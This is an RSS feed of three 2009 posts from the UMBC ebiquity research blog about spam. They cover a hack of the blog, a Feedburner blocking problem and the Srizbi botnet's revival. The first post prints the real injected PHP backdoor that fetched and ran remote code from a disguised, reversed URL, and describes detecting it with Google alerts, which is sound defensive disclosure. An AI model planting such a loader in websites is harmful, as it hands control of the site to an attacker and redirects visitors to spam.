<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>UMBC ebiquity &#187; spam</title>
	<atom:link href="http://ebiquity.umbc.edu/blogger/tag/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://ebiquity.umbc.edu/blogger</link>
	<description>EBB is the ebiquity research group\\\'s blog at the University of Maryland, Baltimore County (UMBC).  We focus on technologies that facilitate the design, implementation and control of distributed, intelligent information systems -- mobile and pervasive computing, ad hoc networking, multiagent systems, knowledge representation and reasoning, and the semantic web.  As the tides of technology ebb and flow, we hope the good ideas wash up on our beach and the bad ones drift back out to sea.</description>
	<lastBuildDate>Fri, 20 Nov 2009 13:50:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Ebiquity Google alert tripwires triggered</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/#comments</comments>
		<pubDate>Thu, 21 May 2009 14:47:17 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Ebiquity]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[splog]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1860</guid>
		<description><![CDATA[Yesterday we discovered that our ebiquity blog had been hacked.  It looks like a vulnerability in our old Wordpress installation was exploited to add the following code to the top of our blog&#8217;s main page.
 < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> 
This code caused URLs like [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday we discovered that our ebiquity blog had been hacked.  It looks like a vulnerability in our old Wordpress installation was exploited to add the following code to the top of our blog&#8217;s main page.</p>
<blockquote><p> < ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?> </p></blockquote>
<p>This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page.  We&#8217;ve upgraded the blog to the latest Wordpress release, which hopefully will prevent this exploit from being used again.  (Notice the reversed URL &#8212; LOL!)</p>
<p>We discovered the problem though a clever trick I read about last year on a site I&#8217;ve forgotten (maybe <a href="http://www.blogstorm.co.uk/how-to-use-google-alerts-to-find-out-if-your-site-gets-hacked/">here</a>).  We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu.  For example:</p>
<ul>
<li> adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu</li>
<li> viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu</li>
</ul>
<p>I would get several false positives a month from these alerts triggered by non-spam entries on our site.  In fact, *this* post will generate a false positive.  But yesterday I got a true positive.  Looking at the log files, I think I got the alert within a few hours of when our blog was hacked.  So I am happy to say that this worked and worked well.  Without this alert, it might have taken weeks to notice the problem.</p>
<p><center><br />
<img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/05/picture-3-300x209.png" alt="Google alert for a hacked website" title="Google alert for a hacked website" width="300" height="209" align="center" class="aligncenter size-medium wp-image-1866" /><br />
</center></p>
<p>The results of this <a href="http://www.google.com/search?hl=en&#038;safe=off&#038;q=%22%3A%3A+Online+Drugstore%22+qq+site%3A.edu&#038;btnG=Search">Google search</a> reveal many compromised blogs from the .edu domain.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/05/21/ebiquity-google-alert-tripwires-triggered/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Storms on Planet Social Media Research</title>
		<link>http://ebiquity.umbc.edu/blogger/2009/05/07/storms-on-planet-social-media-research/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2009/05/07/storms-on-planet-social-media-research/#comments</comments>
		<pubDate>Thu, 07 May 2009 16:44:06 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Social media]]></category>
		<category><![CDATA[splog]]></category>
		<category><![CDATA[feedburner]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1851</guid>
		<description><![CDATA[We maintain Planet Social Media Research (SMR) as a feed aggregator for a set of blogs relevant to research in social media systems.  A few days ago I noticed that it wasn&#8217;t including new posts from some of the blogs.  After updating the Planet Venus software we use and poking around I discovered [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/05/mars_dust_storm.jpg'><img src="http://ebiquity.umbc.edu/blogger/wp-content/uploads/2009/05/mars_dust_storm.jpg" alt="" title="Dust storm on Mars" width="125" height="132" align="right" class="alignnone size-medium wp-image-1852" /></a>We maintain <a href="http://planet.socialmediaresearch.org/">Planet Social Media Research</a> (SMR) as a feed aggregator for a set of blogs relevant to research in social media systems.  A few days ago I noticed that it wasn&#8217;t including new posts from some of the blogs.  After updating the <a href"http://intertwingly.net/code/venus/">Planet Venus</a> software we use and poking around I discovered that our server is unable to access any feeds that resolve to Feedburner.</p>
<p>Apparently Feedburner has a blacklist of IP addresses that it blocks and our server must now be on it.  We have a request in to straighten this out and hope that everything will be back to normal very soon.  ( I was to get our own blog back onto Planet SMR because I reconfigured the system to revert to the old, non-Feedburner feed.)</p>
<p>We&#8217;ve not yet heard from Feedburner/Google and don&#8217;t know why we are on their blacklist.  It&#8217;s unlikely to be a result of our accessing feeds too frequently: we rebuild the site and aggregated feed once an hour and only about ten of our feeds resolve to feedburner.</p>
<p>My speculation is that this is collateral damage in the global war on spam.  The easiest way for splogs (<a href="http://en.wikipedia.org/wiki/Spam_blog">spam blogs</a>) to get content is to hijack feeds from other blogs.  Web spammers can do even better at disguising their splogs as legitimate sites if they aggregate several feeds that are topically related.</p>
<p>One way to fight such splogs is to deny them access to the feeds.  So Google could be trying to protect Feedburner users and also be a good steward of the the Web environment by blocking suspected web spammers from the feeds hosted by Feedburner.</p>
<p>So, my guess is that the Google thinks that the Planet SMR site is a splog.  We are not, of course.  We only include the feeds of blogs that want to be on SMR.  We also do not host any ads, which is a motivation for most splogs.</p>
<p>If our speculation is right, and Google is blocking our access because it thinks we are a splog site, then there will be many other legitimate feed aggregator sites that have or soon will have this problem.</p>
<p>By the way &#8212; we are always interested in suggestions for new blogs to add to Planet SMR.  If you have or know of one, contact us as <i>planet-smr at cs.umbc.edu</i>.</p>
<p><strong>update 5/8:</strong> We&#8217;ve identified and solved the problem, thanks to Google Freebase &#8216;community expert&#8217; Franklin Tse.  The problem was due to our having an old entry for the freebase IP address in the server&#8217;s /etc/hosts table.  I think we added when we were having some technical difficulties some years ago and wanted to keep our key services running smoothly.  I guess the trouble with quick temporary hacks is that they&#8217;re easy to forget and come back to bite you.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2009/05/07/storms-on-planet-social-media-research/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How the Srizbi botnet escaped destruction to spam again</title>
		<link>http://ebiquity.umbc.edu/blogger/2008/11/30/how-the-srizbi-botnet-escaped-destruction-to-spam-again/</link>
		<comments>http://ebiquity.umbc.edu/blogger/2008/11/30/how-the-srizbi-botnet-escaped-destruction-to-spam-again/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 14:33:47 +0000</pubDate>
		<dc:creator>Tim Finin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[Srizbi]]></category>

		<guid isPermaLink="false">http://ebiquity.umbc.edu/blogger/?p=1691</guid>
		<description><![CDATA[Just like Freddy Kreuger, botnets are hard to kill.
In a series of posts on his Security Fix blog, Brian Krebs provides a good explanation of how the Srizbi botnet was able to come back to life after being killed (we thought!) earlier this month.

&#8220;The botnet Srizbi was knocked offline Nov. 11 along with Web-hosting firm [...]]]></description>
			<content:encoded><![CDATA[<p>Just like Freddy Kreuger, <a href="http://en.wikipedia.org/wiki/Botnet">botnets</a> are hard to kill.</p>
<p>In a series of posts on his <a href="http://voices.washingtonpost.com/securityfix/">Security Fix</a> blog, Brian Krebs provides a good explanation of how the <a href="http://en.wikipedia.org/wiki/Srizbi_botnet">Srizbi botnet</a> was able to come back to life after being killed (we thought!) earlier this month.</p>
<blockquote><p>
&#8220;The botnet Srizbi was knocked offline Nov. 11 along with Web-hosting firm <a href="http://en.wikipedia.org/wiki/McColo">McColo</a>, which Internet security experts say hosted machines that controlled the flow of 75 percent of the world&#8217;s spam. One security firm, <a href="http://www.fireeye.com/">FireEye</a>, thought it had found a way to prevent the botnet from coming back online by registering domain names it thought Srizbi was likely to target. But when that approach became too costly for the firm, they had to abandon their efforts.&#8221;
</p></blockquote>
<p>In a example of good distributed programming design, the botnet had a backup plan if its control servers were taken down. </p>
<blockquote><p>
&#8220;The malware contained a mathematical algorithm that generates a random but unique Web site domain name that the bots would be instructed to check for new instructions and software updates from its authors.  Shortly after McColo was taken offline, researchers at FireEye said they deciphered the instructions that told computers infected with Srizbi which domains to seek out. FireEye researchers thought this presented a unique opportunity: If they could figure out what those rescue domains would be going forward, anyone could register or otherwise set aside those domains to prevent the Srizbi authors from regaining control over their massive herd of infected machines.&#8221;
</p></blockquote>
<p>Unfortunately, FireEye did not have the resources to carry out its plan and was forced to abandon it, but not before seeking help from other companies and organizations with deeper pockets.</p>
<blockquote><p>
&#8220;A week ago, FireEye researcher Lanstein said they were looking for someone else to register the domain names that the Srizbi bots might try to contact to revive themselves. He said they approached other companies such as VeriSign Inc. and Microsoft Corp. After FireEye abandoned its efforts, some other members of the computer security community said they reached out for help from the United States Computer Emergency Readiness Team, or US-CERT, a partnership between the Department of Homeland Security and the private sector to combat cypersecurity threats.
</p></blockquote>
<p>File this one under <i>opportunity, lost</i>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ebiquity.umbc.edu/blogger/2008/11/30/how-the-srizbi-botnet-escaped-destruction-to-spam-again/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
